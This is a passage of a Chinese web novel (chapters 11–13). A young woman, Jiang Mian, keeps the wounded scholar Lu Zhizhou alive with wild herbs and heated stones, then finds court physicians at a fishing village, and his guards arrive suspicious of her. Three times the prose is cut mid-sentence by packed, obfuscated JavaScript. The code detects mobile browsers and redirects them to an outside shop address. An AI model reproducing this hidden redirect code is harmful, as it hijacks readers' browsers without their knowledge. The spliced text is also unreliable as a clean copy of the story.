“你给我把腿迈开！别像个死猪一样全挂在我身上！我告诉你陆知舟，你若是敢现在咽气，我马上就把你扒个精光，拿你的锦缎里衣去换两个热包子，再把你赤条条地扔在猪圈里！” “堂堂文虎榜出来的探花，要是死得这么难看，明年的说书先生都能把你编成八段荤段子在天桥底下连说三天三夜！” “走啊！你不是挺能说的？你那能讲的嘴呢？怎么，如今连迈个腿的力气都要靠我一个病弱女子来施舍了？！” 冷风夹杂着她尖酸刻薄的辱骂，劈头盖脸地砸在陆知舟耳边。 换作平日，谁敢对这位脾气古怪的陆家嫡孙如此大放厥词？早就被拉下去拔了舌头。 可偏偏，就是姜绵这恶毒、甚至粗鄙的激将法，竟真的在这濒死的绝境里，硬生生激起了陆知舟骨子里的那股戾气与求生欲。 他本已油尽灯枯的身体，竟奇迹般地生出了一丝气力。 陆知舟死死咬着毫无血色的下唇，眼底翻涌着晦暗不明的幽火。 他在心里冷笑，前世他都没死的那么不体面。 要不是他为了查她这凭空生出的身份，他早就顺利到达汴京了，更不会耽搁功夫被这群暗处的虎狼盯上。 要知道，他这一世可是气运绝佳的妙人，别说科考一路绿灯，就连在赌术一事上都是逢赌必赢。 如今历经这些倒霉事还不是拜她姜绵所赐。 想把他扒光了喂狗？姜绵，你做梦。 11. 奇蒿苦 他强撑着最后一丝清明，将原本死死压在姜绵身上的重量咬牙卸去几分，僵硬地、机械地迈开了沉重的双腿，配合着她的步伐往前挪动。 姜绵敏锐地察觉到了肩头重量的减轻。她一边在心里骂这男人果然是个吃硬不吃软的贱骨头，一边借着这股劲儿，拼了命地在荒野里跋涉。 不知走了多久，眼前终于出现一片枯死的灌木丛，勉强能挡住些江风。 姜绵再也撑不住，将陆知舟往地上一放，自己瘫坐在地，大口大口喘着白气。 她侧头去看陆知舟——这一看，她吓了一大跳。 月光下，陆知舟的脸白得像一张纸，嘴唇毫无血色，眼睛半阖，瞳孔已经开始涣散。他后背那片洇湿，在月光下泛着诡异的暗光，怕不是还在流血。 “陆知舟！你给我睁眼！” 她狠狠掐他的人中，掐出深深的指甲印，他仍毫无反应。姜绵深吸一口气，压下心头那丝说不清道不明的慌乱，强迫自己冷静下来。 她倒吸一口凉气，就着凄冷的月光不难看出，在小舟上粗暴绑上的布条早已经被鲜血彻底浸透。 寒冬腊月，浑身湿透，又流了这么多血…… 这是要死人的！ 不行，她可是废九牛二虎之力才把这扫把星从江水里拉出来的，不能叫他就这么死了！ 她手脚麻利地将周围的干草和枯枝疯狂地拢聚过来，厚厚地垫在陆知舟的身下，绝不能让他仅剩的一丝体温再被这冰冷的冻土给吸走。 做完这一切，她毫不犹豫地转身，一头扎进了黑漆漆的荒野夜色里。 隆冬的荒野，万物凋零，想要找一株能救命的草药谈何容易。 但姜绵仍旧想试试。 她不是什么娇生惯养的千金小姐，她是那个在泥沼里摸爬滚打长大的野草。 她十二岁就在素问堂的药庐里认药，十三岁就能踩着杌子帮姨母碾磨炮制药材。素问堂后山每一寸土地长着什么，她闭着眼都能叫出来。 这片江南的荒野虽然陌生，但草木之理，天下相通。 她在枯草丛中一寸一寸地摸索、翻找。她的手背被荆棘划破，指甲里塞满了污泥，却浑然不觉。 忽然，几株贴地而生、枯黄盘绕的野草映入眼帘。 姜绵瞳孔骤缩，猛地俯身探去，指尖掐断那枯蔓根茎，轻轻碾碎置于鼻端——一缕极淡却清冽的微苦辛香漫入鼻尖。 竟是刘寄奴！ 此草本就是专治金疮、活血止血、破瘀通经的良药，即便隆冬枯槁，根中残存药性仍在，紧要关头，足以吊人一线生机！ 好你个陆知舟，真是命不该绝！ 姜绵抓着那把草药，跌跌撞撞地扑回灌木丛。 荒郊野外，没有捣药的石杵，没有清洗的清水，只能将就。 借着微弱的月光，姜绵摸索到一块还算平整的石头，用袖子胡乱擦了两下，将粗硬的根茎放在上面，举起另一块石头近乎疯狂地砸了起来。 “砰！砰！砰！” 沉闷的砸击声在寂静的夜里格外刺耳。至于那些稍软的叶片和细茎，她连上头的泥沙都顾不得抖落，直接一把塞进嘴里，咬紧牙关，用力地咀嚼起来。 苦涩与辛辣瞬间在口腔中炸开，刺激得她眼泪都快飙出来了，舌尖很快被草药的汁水麻痹。 可姜绵就像无知无觉一般，嚼碎了一口，便和着石头上砸烂的根茎糊在一起。 她手脚并用地爬到陆知舟身边，颤抖着手，一把扯开了他身前那条已经被鲜血完全浸透的布条。 哪怕已经做足了心理准备，在彻底看清那道深可见骨的刀伤时，姜绵的呼吸还是猛地一滞。 皮肉外翻，鲜血淋漓。 她不再犹豫，将那一滩混合着汁水与泥沙的草药渣，狠绝地、一把按在了那血肉模糊的伤口上！ “唔——！” 哪怕是陷入了深度昏迷，在那霸道的药性刺激，依然让陆知舟发出了一声痛苦至极的濒死闷哼。 他原本僵硬的身体犹如濒死的鱼猛地弹动了一下，下意识地想要挣扎。 “别乱动！你想把血流干吗？！” 姜绵整个人犹如八爪鱼一般，死死地压住他的肩膀，满是草药苦汁和泥血的手掌，毫不留情地死死捂在伤口上，借着身体的重量将药性压进皮肉里。 她在男人耳边咬牙切齿地低吼：“陆知舟，你这回算是欠了我一条实打实的命！你不准死！最好给我活下去，这条命是你欠我的！若是敢反悔，我做鬼都要拉你垫背！” 奇迹般的，也不知是这番恶狠狠的威胁起了作用，还是那刘寄奴的药效当真霸道，约莫一炷香的功夫，指缝间那股不断涌出的温热终于渐渐止住了。 姜绵深吸了一口的冷气，强迫自己那双冻得发僵的手动起来。 她一把解下从落水起就死死绑在怀里的那个小包袱。 包袱的粗布外层早已经被江水泡得透湿，姜绵哆哆嗦嗦地用僵硬的手指抠开死结。粗布剥落，里面赫然露出一层厚实、裹得严严实实的油纸。 这层油纸，是她之前死里逃生留下的心眼。 当时在那个野渡口，她为了躲避王家人的发难追捕，迫不得已不要命地洑水爬上了陆知舟的那艘船，她当时死死把那文书叼嘴里，险些没把自己憋死，好在文书没事。 所以自那次上船后，她便吃一堑长一智，特意找船上的艄公讨要了几张厚实的油纸，将这最要命的东西死死封了几层。 姜绵小心翼翼地剥开油纸，看着里面滴水未沾、干爽如初的身份文书和进京路引，眼眶猛地一热，险些落下泪来。 还好，还好。只要这东西没毁，她这趟拼死拼活的罪就没有白受！ 她长长地舒了一口气，忍不住在心底感慨万千。 姜绵从文书底下，哆哆嗦嗦地摸出了一个小巧的竹管——那是一枚同样被油纸护得完好无损的火折子。 有了火源，一切就好办了。 姜绵手脚麻利地将周围最干燥的枯草和芦苇絮拢成一堆，借着灌木丛最茂密的一处凹坑作掩护，谨慎地吹燃了火折子。 微弱的火苗在深坑里跳跃，被周围的树根和枯叶完美地挡住了光亮。 她从四处摸来几块大小适中、圆润平滑的鹅卵石，直接扔进地坑的火堆里炙烤。 不过半炷香的功夫，石头便被烤得滚烫。 姜绵用木棍将石头挑出来，扯过周围厚厚的一把干枯草叶，将那几块散发着惊人热度的石头严严实实地包裹起来，以免直接烫伤皮肉。 随后，她拖着沉重的双腿走到陆知舟身边，麻利地解开他湿透的外衣，将那几个散发着炽热温度的“草包石头”，精准地塞进了他的脚底涌泉穴、肋下双侧，以及大腿根处。 寒厥之症，最重源头。 脚底和身侧的大脉一旦被暖热，这股救命的热流就会顺着血液，迅速游走遍他的四肢百骸！ “嘶……” 滚烫的温度透过枯草，源源不断地渗入冰冷的肌骨。 哪怕是在深度的昏迷中，陆知舟紧皱的眉头也奇迹般地舒展了些许，唇角的乌青终于停止了蔓延，呼吸也渐渐平稳了下来。 看着少年的脸色终于有了一丝活人的生气，姜绵紧绷到极致的神经终于稍稍松懈了一分。 她将剩下的干草全都盖在陆知舟的身上，自己则裹紧了半干的衣裳，脱力地靠在那个散发着隐隐热气的地坑旁。 她睡着了。 …… 翌日。 陆知舟在一阵浓烈的、混合着鱼腥味与劣质柴火烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514995|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的陌生气味中，艰难地掀开了沉重如铅的眼皮。 没有呼啸的江风，没有冰冷的江水，没有熊熊燃烧的烈焰和刀光剑影。 视线从模糊渐渐聚焦，映入眼帘的，是打着粗糙补丁的灰布床帐，和洗得发白却还算清爽的粗布棉被。 身下是一张略显咯人的硬板床，但至少，是干爽而温暖的。 “水……” 陆知舟下意识地想要开口，却发现喉咙里干得像是吞了一整把滚烫的粗砂。 那嘶哑难听的嗓音，竟和几日前在官船上那个病得半死不活的姜绵，如出一辙。 “吱呀——” 破旧的木门被人用脚踹开。 姜绵端着一个边缘豁了口的粗瓷黑碗，带着一身苦涩的药气走了进来。 她快步走到床前，将那碗黑乎乎的汤药往缺了床头的小矮桌上重重一搁。 见床上的人终于睁了眼，姜绵那张熬得满是憔悴的小脸上闪过一抹生动的错愕，随后双手合十，冲着生灰的房梁拜了拜。 “阿弥陀佛，菩萨保佑。这陆郎君可算是睁眼了！” 得见此景，陆知舟十分无语的闭上眼深深吐了口气。 和什么菩萨还有鬼系统一点关系都没有，陆知舟笃信，他们二人能活下来，全凭各自伟大的求生意志。 意识昏沉间，脑海深处蓦地闪过江上那一幕。 当那名杀手如鬼魅般翻上船舷，雪亮钢刀直劈姜绵面门时，他脑海中那个惯爱的冰冷机械音，发出了刺耳的乱码爆鸣： 【警告！重要女配姜绵不能死于该节点！若该角色死亡，主线将彻底崩塌！宿主将被永久抹杀，无法返回原世界！】 永远抹杀？ 那时的陆知舟，正被晕船折磨得连胆汁都吐了个干净。对一个半条命都没了的人来说，这句干瘪的系统威胁根本毫无威慑力。 驱使他动弹的，是极其冷酷的权衡—— 他此刻形同废人，若是姜绵真被一刀劈死了，单凭他自己，绝对逃不出这片江。 他得留着她的命。哪怕是拿她当个挡箭牌，或者当个摇橹的艄公。 于是他强压下翻江倒海的恶心，猛地扑上前，本意是一把将她推开。 可他终究高估了自己这具被晕船彻底拖垮的躯壳。 步子虚浮，动作慢了半拍。 推人的手，生生变成了替她挡刀的肉盾。“刺啦”一声，长刀劈下了深可见骨的伤口。 碰上姜绵也算是他倒霉了。 姜绵看到他合上的眼皮一动一动的，她没好气地冷哼了一声：“你知不知道你伤口发炎，昨夜烧得浑身像块烙铁一样烫？若是今日午时再不醒过来，只怕就要直接去见阎王爷了！” 陆知舟极度口渴，视线一转，瞥着桌上那碗还在冒着热气、散发着刺鼻苦味的黑乎乎汤药。 他知道，这定是熬给自己的。 陆知舟死死咬住毫无血色的后槽牙，强撑着想要从硬板床上支起半个身子。 他伸出右手，试图去够只缺了口的粗瓷海碗。 可就在他想要发力的瞬间，却绝望地发现，自己浑身上下的力气仿佛被昨夜那场高热和失血彻底抽干了。 那条平日里能提笔写锦绣文章的右手，此刻竟重如千钧。 别说端起那只厚重的海碗，他甚至连把胳膊抬离那粗糙的被面，都变成了一种奢望。 他的手指不受控制地痉挛了两下。 姜绵将这情形看在眼底，眸中闪过一丝讥诮，那一瞬间，她脑海里忽然清晰地闪过了几日前在官船舱房里的那一幕。 那时，也是她病得连个白水蛋都拿不稳。 她长长地眼睫垂下，遮住了眼底那抹不加掩饰的恶劣快感。 哈，风水轮流转啊。 12. 艾烟涩 她再次抬眼时，脸上已经换上了一副柔弱却又不得不坚强的表情。 “陆大人，清荷粗笨。眼下这光景，也只能委屈您，由我这姑娘家来伺候汤药了。” 这人嘴上喊着委屈，手底下却没半分女儿家的扭捏。 她胳膊一把穿过他的肩背，毫不客气地将陆知舟半架起来，另一只手抄起了那只边缘豁口的粗瓷海碗。 陆知舟烧得极重。 平日里那张高山白雪般清冷孤傲的面皮，此刻泛着不正常的靡艳潮红。 可偏偏那双眼，正透过迷蒙的水雾，犹如困兽般死死盯着她。 防备警惕，却又透着任人宰割的无力。 这副虎落平阳还要死撑体面的模样，奇异地抚平了姜绵心底那股憋了许久的恶气。 她眼底闪过一丝恶劣的快意。 下一刻，她便有样学样，照搬了陆知舟那日的做派——五指张开，一把极其强势地扣住了少年的后脑勺，生生阻止了他往后躲的动作。 粗糙的瓷碗边缘，毫不留情地磕开他紧绷的唇齿。 极苦的药气瞬间冲破喉关。陆知舟本能地蹙紧了眉，下颌绷出一道极度抗拒的冷硬线条。 “良药苦口利于病啊。” “您这伤口邪毒入体，若是不下狠药灌下去，这烧是退不掉的。些许苦楚，您这般能谋善断的探花郎当是懂得的，且忍忍吧。” 许是自己对姜绵本就有偏见，陆知舟只觉着姜绵这话说乍听像在哄人，但怎么品还是阴阳怪气的。 她根本没给陆知舟反应的余地。 少年眼底的寒意与憋屈还未成型，姜绵扣着碗底的手腕已猛地向上一抬。 “咳……唔！” 那半碗滚烫且苦涩到令人发指的药汁，便蛮横地灌入了陆知舟被迫张开的唇缝里。 陆知舟被这粗暴的灌药方式呛得剧烈咳嗽起来。每一次咳嗽，都牵扯到后背那道深可见骨的刀伤，疼得他冷汗犹如瀑布般瞬间湿透了里衣。 剧烈的咳嗽逼得他眼尾泛起一抹薄红。 那双幽冷深沉的黑眸，死死盯住眼前的始作俑者。 视线所及处，姜绵正无辜地眨着眼，满脸写着惊惶与无措，仿佛真被他吓坏了似的。 装。 这副模样显然是在和他说：我是不小心的～ 什么死人表情！陆知舟咬牙切齿。 她肯定是故意的。 姜绵见好就收。 赶在这尊大佛真正发难前，她手上一个用力，直接将他按回了硌人的硬板床上。 她将空了的粗瓷碗随手扔在桌上，拍了拍手，居高临下地送了他一个灿烂、却又虚伪的微笑。 陆知舟刚想偏头避开她的触碰，姜绵就眼疾手快地拽起自己沾着灰土的粗布袖口，毫不客气地怼上他的唇角，不顾他的抗拒，擦去了他下颌的药渍。 陆知舟叹了口气，强撑着濒临涣散的清明，目光冷冷扫过这间家徒四壁、四处漏风的破屋。 “这……是在哪？”他嘶哑着嗓子，艰难地吐出几个字。 “还能在哪？当然是江边的渔村里。” 姜绵扯过一把破木头杌子坐下，“今儿天蒙蒙亮时，江边刚好有个起早收网的渔民路过。” 她满不在乎地把玩着粗布袖口，“咱俩当时那副半死不活的鬼样子，若是再在野外冻上半个时辰，大罗神仙也难救。” 陆知舟眉头微蹙，敏锐地察觉到了她话里的弦外之音。 这等穷乡僻壤，谁敢平白无故沾惹两个浑身是血的将死之人？ 仿佛看穿了他眼底的审视，姜绵掀起眼皮，幽幽补了一句：“空口白牙的，人家凭什么招惹晦气？我便只能擅作主张，把你右手大拇指上那个成色瞧着还凑合的玉扳指给薅了下来，塞给了那老伯。” “人家这才大着胆子，用拉鱼的板车把咱俩拖回这间避风的破草屋，还大发慈悲给你熬了那碗吊命的汤药。” 听到这话，陆知舟的呼吸猛地一滞。 他下意识地看向自己的右手。大拇指上空空如也。 那个扳指…… 那可是汴京陆氏嫡孙的信物，可是极品羊脂白玉由宫廷御匠雕琢而成，价值连城，足以在汴京城最繁华的地段买下三座大宅院！ 成色……还凑合？！ 她竟然用他那价值千金的陆家信物，去换了这漏风破草屋里的硬板床和一碗劣质汤药？！ 陆知舟眼前一黑，本就烧得滚烫的胸口，此刻更是被这女人的市侩与胆大包天气得一阵剧烈起伏。 半晌，他才硬生生从牙缝里挤出一声冷笑：“我没记错的话……沈小姐自己身上，是揣着盘缠的。” 被当面戳穿，姜绵非但没心虚，反而造作地捏着袖角叹了口气，端出一副我见犹怜的做派：“陆大人明鉴。小女不过是个穷乡僻壤的县令千金，兜里就那么几两碎银。此去汴京路途遥远，若是眼下就散干净了，日后进了那吃人的京城，小女岂不是要流落街头？” 说着，她眼底浮起一丝不加掩饰的狡黠，虚伪地奉承道：“我见大人通身的气派，定是视金钱如粪土的端方君子。不过区区一个扳指——这等身外的黄白之物，您自是不会放在心上的，对吧？” 区区？ 身外之物？ 他气的胸口剧烈起伏，倘若不是为了救她，他又怎会落了刀伤。 不过数年的世家礼教在身，他到底没把这挟恩图报的话说出口。 待晓康卫民寻过来，再叫他们赎回便是。 他闭了闭眼，将这笔账暂且记下，转而问起了更要紧的事：“我的衣物在哪？里衣夹层中，有几封密信。” 姜绵的动作微微一顿。 “郎君忘了，我们是洑水逃出来的。”她语气如常地勾起他的痛苦回忆，“宣纸遇水即化，您那几封密信，估计早就烂了。” 逼仄的破屋里，陷入了死一般的寂静。 陆知舟抽了抽嘴角，也罢，烂了便烂了吧。 人活下来就行。 他闭上眼，不想再跟这女人多说一个字。 …… 陆知舟这烧，一烧就是三天。 三天里，他时而冷得浑身发抖，时而又烫得像块火炭。 她别无他法，只能提心吊胆的守在那间渔民的窝棚里，日日给他熏艾擦身、强灌草药。 分明都已经如此寸步不离的照料了，可他夜里摸着，额头依旧烫手。 第三天夜里，陆知舟烧得昏昏沉沉，嘴里开始说胡话。 “这古代的医疗……”他声音嘶哑得几乎听不清，“……真是要命。” “护……护工好粗鲁……” 姜绵正往他额头上换冷帕子，听见这话，手顿了顿。 古什么辽？粗鲁什么？这人烧糊涂了吧。 她把帕子往他脸上一盖，懒得搭理。 可哪怕她像个陀螺一样连轴转，他那要命的高热，就是死活退不下去。 姜绵自幼在素问堂长大，医药同源，指尖搭上他脉搏的那一刻，她心底便沉了下去——这脉象虚浮散乱，此人怕是活不成了。 第四天清晨。 姜绵死死盯着他那张惨白如纸、已经隐隐透出死气的脸，终于下定了决心。 这个小渔村拢共不过十几户人家，都是靠着江水讨生活的苦命人。陆知舟如今病入膏肓，这穷乡僻壤根本没人帮得上忙。 再耗下去，再等杀手寻来，她也得跟着陪葬。 姜绵想着丢下他一走了之算了。于是利落地拎起自己的小包袱，果断地走出了窝棚。 可刚走到村口，她脚下的步子便像灌了铅一样慢了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514996|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不行。那日江面上，他到底是替自己生生挨了一刀。 她姜绵虽不是什么好人，可若是把救命恩人丢在这里，若待那陆知舟成了一具尸体，渔民们也只会把他随手丢在野外被野狗啃食……怎么说也说不过去…… 起码……也得等他死了，再卷张破席子给他收个尸吧？ 想到这里，她叹了口气，认命地转身往回走。 可刚往回走了一半，姜绵越想越觉得不对劲，步子又猛地顿住。 等等！那群杀手本就是冲着陆知舟这个扫把星来的，她姜绵才是被殃及的池鱼！ 陆知舟挨刀那是他活该，若是没她陆知舟早就死船上了，跟自己救不救他有甚关系？反倒是她被陆知舟连累得险些丢了性命！ 更何况，若是真留下来给他收尸，到时候陆家的人顺藤摸瓜找过来，倒打一耙问她讨要人命咋办？ 自己千辛万苦救他到这步，已然是尽她所能了，没什么好昧良心的。 ——这口黑锅绝不能背！ 姜绵在冷风中打了个寒战，毫不犹豫地再次转身，大步流星地往村外走。 可没走出十步远，她心底那把算盘又噼里啪啦地拨响了，脚下生生刹住。 也不对啊…… 这陆知舟先前可是答应了要捎带她去汴京的。且不说这承诺，就是之前在船上，自己病得半死不活时，也是他恩威并施地给自己求医问药。 若是没陆知舟，她姜绵也早死了。 如此算来，这扫把星倒是在这辈子救了自己两回…… 欠债不还，天打雷劈。 姜绵烦躁地抓了抓头发，第三次认命地转过身，拖着沉重的步子往破窝棚的方向挪。 眼看着那间破草屋就在前方，姜绵的眼神却倏地冷了下来，步子彻底钉死在了原地。 去他的救命之恩！前世这男人处处与自己作对，高高在上地阻断了她所有的活路，最后间接害得她惨死冷宫。 她自己都泥菩萨过江自身难保了！她姜绵脑子进水了才要去管一个前世的仇人、今生的隐患？！ 这一次，她连头都没回，攥紧了手里的包袱，决绝地转身。 事不过三！她这次必须坚定！ 就在姜绵在村口这截短短的土路上，像个无头苍蝇一样来回折返、心若油煎的时候—— 姜绵猛地抬起头，忽然发现前方村口的空地上，不知何时乌泱泱地围了一群早起的渔民。 人群中央，赫然停着两辆宽大、绝非寻常百姓能用得起的青帷马车。 几个穿着青灰色袍子、背着药箱的人正指挥着随从从车上搬卸东西。 晨风吹过，卷起那些人袍角上的云水暗纹。 姜绵眯起眼，在看清那纹样的瞬间，瞳孔骤然一缩。 太常寺。太医署！ 姜绵脑子里“轰”的一声巨响，仿佛有一道惊雷在耳边炸开。 姜绵哪里晓得陆知舟之前让晓康传信回京求医下乡一事——这个渔村本就在青阳县辖内，且是沿江施药第一站。 在她的视角里，这荒郊野岭、鸟不拉屎的穷苦渔村，竟偏偏在这生死存亡的节骨眼上，迎来了大宣朝最顶尖的医官！ 这算什么运气？ 怎么有人命大成这样！ 是老天爷瞎了眼，硬要给这扫把星强行续命？！ 她根本来不及细想这其中的诡异与巧合，方才所有的天人交战在这一刻统统被抛到了九霄云外。 她死死咬紧牙关，猛地拨开看热闹的人群，像一头发了疯的小豹子般冲了过去。 “大人在上！”她扑通一下跪了下去。 又一把拽住一个正在搬药箱的医官的袖子，“求大人救命！有人受了刀伤，烧了三天了，命悬一线！救人一命胜造七级浮屠！求大人去看看！” 13. 犀角香 那医官被这突如其来的拉扯吓了一跳。 他皱着眉正要呵斥这不知礼数的村妇，可一低头，却见她虽满头乱发，衣衫褴褛，那双通红的眼睛里，透着一股骇人的执拗与狠劲。 医官愣了一愣，到了嘴边的呵斥咽了回去，神色一凛：“什么人受了这么重的刀伤？人在何处？” “就在村里的窝棚，我带大人去！” 半个时辰后。 姜绵领着两个老医官和几个背着沉重药箱的学徒，气喘吁吁地跑回了那间逼仄漏风的破草屋。 医官一撩开破烂的门帘，一股浓烈的劣质艾草味混合着令人作呕的鱼腥气便扑面而来。 他皱着眉钻进棚子里，视线落在破木床上，被粗布外衫裹得严严实实的少年脸上。 他目光从陆知舟那张惨白却依然清隽绝伦的脸，只觉得很是面熟…… 只看了一眼，那见多识广的老医官便猛地倒吸了一口凉气，整个人如遭雷击，连手里的医箱都险些没拿稳。 “这……这是……” 他曾去陆府请过脉，自然对这位郎艳独绝的陆家长房嫡孙，有着不浅的印象。 “这是翰林陆家那位公子？！他怎么会在这穷乡僻壤落得这般田地？！” 姜绵一愣，心头猛地一跳：“大人认得他？” 医官根本没空答她的话，额头上瞬间渗出了一层冷汗。 还好他们跟着这丫头来了。 这可是京城陆氏的嫡孙、天子门生！若是死在他们太医院下乡办差的眼皮子底下，他们这群人的脑袋也别想要了！ “快！快把药箱打开！” 医官已经顾不得污秽，直接双膝跪在干草堆旁。 他小心地将姜绵缠在陆知舟身上的那些粗糙布条一层层剪开，在彻底看清那道深可见骨、边缘已经发黑溃烂的狰狞刀口时，脸色瞬间凝重到了极点。 他又探了探陆知舟滚烫得骇人的额头，手指都在微颤：“刀伤太深，又在这等苦寒之地生生拖了四天，邪毒入体，寒气入骨……” 他回头，复杂地看了一眼旁边浑身狼狈的姜绵，“这等必死之局，他能撑到现在，简直是奇迹。” 说罢，他猛地回头冲着学徒厉声吩咐：“别愣着！拿长针来！先封住心脉施针退热，再立刻去院子里生火，煎一剂犀角地黄汤和麻黄散！快去！” 逼仄的草屋瞬间变成了严谨的医庐。 姜绵被挤到了阴暗的角落里，双手合十地念着：“阿弥陀佛、阿弥陀佛……” 她看着那些闪烁着寒芒的长银针被医官老练精准地一根根扎进陆知舟的大穴。 看着学徒们手脚麻利地生起小红炉，熬煮出散发着醇厚清苦香气的高级药材；看着医官用干净的白棉布，细致地清理着那道骇人的伤口…… 那是用无数金钱、权势和阶级底蕴堆砌出来的“生机”。是她这种只能在荒地里翻找野草，靠烤热石头来吊命的底层蝼蚁，几辈子都够不到的门槛。 有权有势真好啊……姜绵在心头苦笑一声。 看着那渐渐在药香中平稳下呼吸的陆知舟，姜绵紧绷了整整四天四夜的神经，突然间就像是断了弦的旧弓。 她忽然觉得无比的累。 双腿一软，她顺着那根粗糙的木柱子，毫无形象地跌坐在了冰冷的泥地上，只剩下一口沉重的呼吸，在胸腔里疲惫地拉扯着。 就在这时，棚外传来一阵脚步声。 姜绵抬头，愣住了。 门帘被猛地掀开，冷风卷着浓重的血腥气灌进草棚。 晓康和卫民跨进屋来，两人衣衫破烂，满身血污。晓康的视线落在那张破木床上——陆知舟面如金纸，肩上缠着渗血的绷带，生死不知。 他猛地转头，盯住缩在墙角的姜绵。 这女子虽然也形容狼狈衣衫褴褛，但好歹全须全尾。 晓康眼睛瞬间红了。主子自幼习武，就算在船上吐得脱力，带个女人逃命也绝不至于落到这步田地。除非…… 一定是姜绵拖累了主子。 这个念头一起，晓康心头那口压了一路的火“轰”地烧了上来。 “沈清荷。”他咬牙走近，手按在剑柄上，“主子重伤濒死，你为何毫发无损？” 姜绵先是一怔，随即一股火气直冲脑门，险些当场啐这晓康一口。 她没事？ 分明是你家主子在当初船上连站都站不稳。若不是她没丢下陆知舟，眼下躺在这里的就该是具尸首。 更何况，人能落到她手上，难道不是他们自己没护住？ 她心里骂得难听，面上却分毫不显。 她深吸一口气，再抬起头时，眼眶已经红透了。 “我……”少女像是被这声质问吓住了，嘴唇发白，眼泪说落就落，“我也不想这样的……” 她嗓子原本就喊劈了，这会儿一哭，更哑得厉害，断断续续，倒真像是惊惧未定。 “那夜江上那么乱，我自己都险些活不成……”她抬手去抹泪，可那泪珠子越抹越多，“后来、后来我好不容易才把陆郎君拖上岸，他一直高热不退，伤口又渗血，我一个人守着，连眼都不敢合……” 她说到这里，像是彻底撑不住了，肩头细细发抖。 她哽得上气不接下气，声音发颤，“我若真有别的心思，又为何要把他安置在这里、还去请医官，又何必……何必费这么大的力气救他？” 她哭得狼狈，一双眼通红，脸上还沾着先前蹭上的灰泥，倒把那点柔弱惊惶衬得十足十。 晓康本就认定她不是省油的灯，如今见她哭成这样，非但没消火，反倒更添烦躁。 他只觉得主子都快没命了，她却还在这里做这副楚楚可怜的模样——这鸠占鹊巢的毒妇，此刻还在做戏！ “你少在这儿——“ 只听得“铮”的一声，晓康手中长剑出鞘半截。 “晓康，收剑。” 一只手伸过来，稳稳压住了他的手腕。 姜绵眼皮一跳，心里已把这不讲理的小崽子骂了个遍，眼泪簌簌地往下掉，像只受惊的兔子般往卫民身后缩了缩。 晓康瞪了卫民一眼：“你拦我做什么？主子如今这样，她却——” 卫民不知内情，只当她真是个柔弱的县令千金。他挡在晓康身前，沉声道：“她若真要害主子，不会等到现在。何况若非是那日船上她眼尖告知及时，我们也会对那群杀手猝不及防。” “方才在村口，要没她死死拽着医官不放，闹出动静来，你我能这么快找到这里？她若真有歹心，大可冷眼看着，何必那样去求人？” 晓康下颚紧绷，死死盯着姜绵，到底还是把那半截剑压回了鞘里。 姜绵一边抹眼泪，一边怯生生地开口：“你们……怎么逃出来的？那些杀手……” 卫民晓康对视一眼，心中知晓不能把暗桩泄露，于是开始默契扯谎。 晓康冷着脸道：“附近有猎户设的陷阱。” “卫民把追兵往那边引，掉进去七八个。”他顿了一下，语气平平，“眼见逼问不出来背后主使，他们当场就咬了毒囊。” 卫民看着姜绵，淡淡补充：“杀手估计没活口了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514997|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜绵的哭声顿住了。 几十个训练有素的亡命徒，全死了？ “后来遇见个打鱼的，说这渔村有伤者借住……”卫民看向姜绵，“一到村口就碰到了沈姑娘你在求医官，我们就知道，多半是主子，然后跟了过来。” 他说得轻描淡写，但姜绵听得瞠目结舌。 她慢慢转动视线，看向卫民吊着的手臂：“你的手……” “脱臼而已，已经接回去了。”卫民面无表情，“骨头没断。” 至于晓康，只有眉骨上破了点皮。 草棚里安静下来，只有炭火偶尔发出“噼啪”一声。 姜绵定定地看着他们，只觉得一股寒气从脚底直窜上脊背。经历了三天三夜的逃亡，他们反杀了对面几十号人，这两人居然只是脱臼和擦伤。 陆知舟身边带的，究竟是什么怪物？ 她后背渗出一层冷汗。 万幸……万幸当初在牧尘镇的客栈里，她忍住了没有动手，不然她命休矣！ 卫民退后一步，单手握拳，郑重行了一礼：“沈姑娘救命之恩，卫民记下了。” 晓康站在一旁，看着榻上人事不知的主子，又看了眼被骗的团团转的卫民，最后看了一眼角落里看似楚楚可怜、实则一肚子坏水的少女，心里堵得慌，冷着脸别过了头。 …… 不知过了多久，或许是半日，或许是一夜。 陆知舟终于在那股醇厚宁神的犀角地黄汤的药香中，艰难地掀开了沉重如铅的眼皮。 视线从模糊渐渐聚焦，映入眼帘的，是正在一旁熬药的太医署学徒，以及满脸倦容却长长松了一口气的老医官。 “小陆大人，您可算是醒了！” 